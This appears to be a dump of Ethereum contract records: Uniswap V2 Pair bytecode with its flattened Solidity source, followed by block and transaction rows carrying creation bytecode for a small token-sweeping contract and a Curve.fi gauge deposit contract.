5191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032
// File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/interfaces/IUniswapV2ERC20.sol pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/libraries/SafeMath.sol pragma solidity =0.5.16; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/UniswapV2ERC20.sol pragma solidity =0.5.16; contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/libraries/Math.sol pragma solidity =0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/libraries/UQ112x112.sol pragma solidity =0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/interfaces/IUniswapV2Callee.sol pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/UniswapV2Pair.sol pragma solidity =0.5.16; contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }
1
19,493,232
8fdaf37d0f844a24706937951cc831207d02ad6aa585bdf9981939f8073c82a7
781c4a7ad726764239a118c0fb05a7a629f59a9737954dafbb2ef1698a04ed47
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
e8150ecd62af13899a1edeb5d6c64ffef004562c
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1
19,493,232
8fdaf37d0f844a24706937951cc831207d02ad6aa585bdf9981939f8073c82a7
1e45df24610e741587e9d4c137a3e0fb41042ca6776d38094348dfe1b6df8be8
994d5147c315b31f997d8d24b0f8ce7a9557ad31
6a8cbed756804b16e05e741edabd5cb544ae21bf
dd2d0d32dcae80e4cbd87a609cc72f5b1a042548
6129c551503461035a576020612cd95f395f518060a01c61035a57604052604051600d5533600b5532600c556040516395d89b4160a052606060a0600460bc845afa61004d573d5f5f3e3d5ffd5b60403d1061035a5760a05160a001602081511161035a5780516101205260208101516101405250610120905080516060526020810151608052505f6009610100527f43757276652e666920000000000000000000000000000000000000000000000061012052610100805160208201836101a00181518152505080830192505050606051816101a001608051815250808201915050600e610140527f204761756765204465706f73697400000000000000000000000000000000000061016052610140805160208201836101a001815181525050808301925050508061018052610180905060208151018060a0828460045afa505050602060a051015f81601f0160051c6003811161035a57801561017957905b8060051b60a001518160040155600101818118610161575b5050505f60605181610160016080518152508082019150506006610100527f2d67617567650000000000000000000000000000000000000000000000000000610120526101008051602082018361016001815181525050808301925050508061014052610140905060208151015f81601f0160051c6003811161035a57801561021557905b8060051b84015181600701556001018181186101fe575b505050504260235563b26b238e610100526020610100600461011c5f73d533a949740bb3306d119cc777fa900ba034cd525af1610254573d5f5f3e3d5ffd5b60203d1061035a576101005160d81b632c4e722e610140526020610140600461015c73d533a949740bb3306d119cc777fa900ba034cd525afa610299573d5f5f3e3d5ffd5b60203d1061035a576101405180820182811061035a5790509050600f5560a05160c0206129655260014303406129a55246612985527f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6101205261296551610140527f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb2466610160524661018052306101a0526129a5516101c05260c0610100526101008051602082012090506129c55261296561035e610000396129e5610000f35b5f80fd5f3560e01c6002603f821660011b6128e501601e395f51565b63bfa0b133811861003657346128e15760206129a560403960206040f35b63095ea7b38118611c2d576044361034176128e1576004358060a01c6128e1576040526024356003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3611c2d565b6370a0823181186100f2576024361034176128e1576004358060a01c6128e15760405260016040516020525f5260405f205460605260206060f35b6301ddabf18118611c2d576024361034176128e1576004358060a01c6128e15760405260126040516020525f5260405f205460605260206060f3611c2d565b6318160ddd811861014d57346128e15760025460405260206040f35b6323b872dd8118611c2d576064361034176128e1576004358060a01c6128e1576103a0526024358060a01c6128e1576103c0525f546002146128e15760025f5560036103a0516020525f5260405f2080336020525f5260405f209050546103e0527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6103e0511461020b576103e0516044358082038281116128e1579050905060036103a0516020525f5260405f2080336020525f5260405f209050555b6103a0516102e0526103c051610300526044356103205261022a612779565b600161040052602061040060035f55f3611c2d565b63dd62ed3e8118610297576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260036040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6384e9bd7e8118611c2d576024361034176128e1576004358060a01c6128e1576102e0525f61030052610f3a56611c2d565b6306fdde03811861034457346128e157602080604052806040016020600454015f81601f0160051c600381116128e157801561031857905b80600401548160051b850152600101818118610301575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63331345838118611c2d576024361034176128e1576004358060a01c6128e1576102805261028051604052610377611cc4565b6019610280516020525f5260405f2054638b752bb06102a052610280516102c052306102e05260206102a060446102bc73d061d61a4d941c39e5453435b6345dc261c2fce05a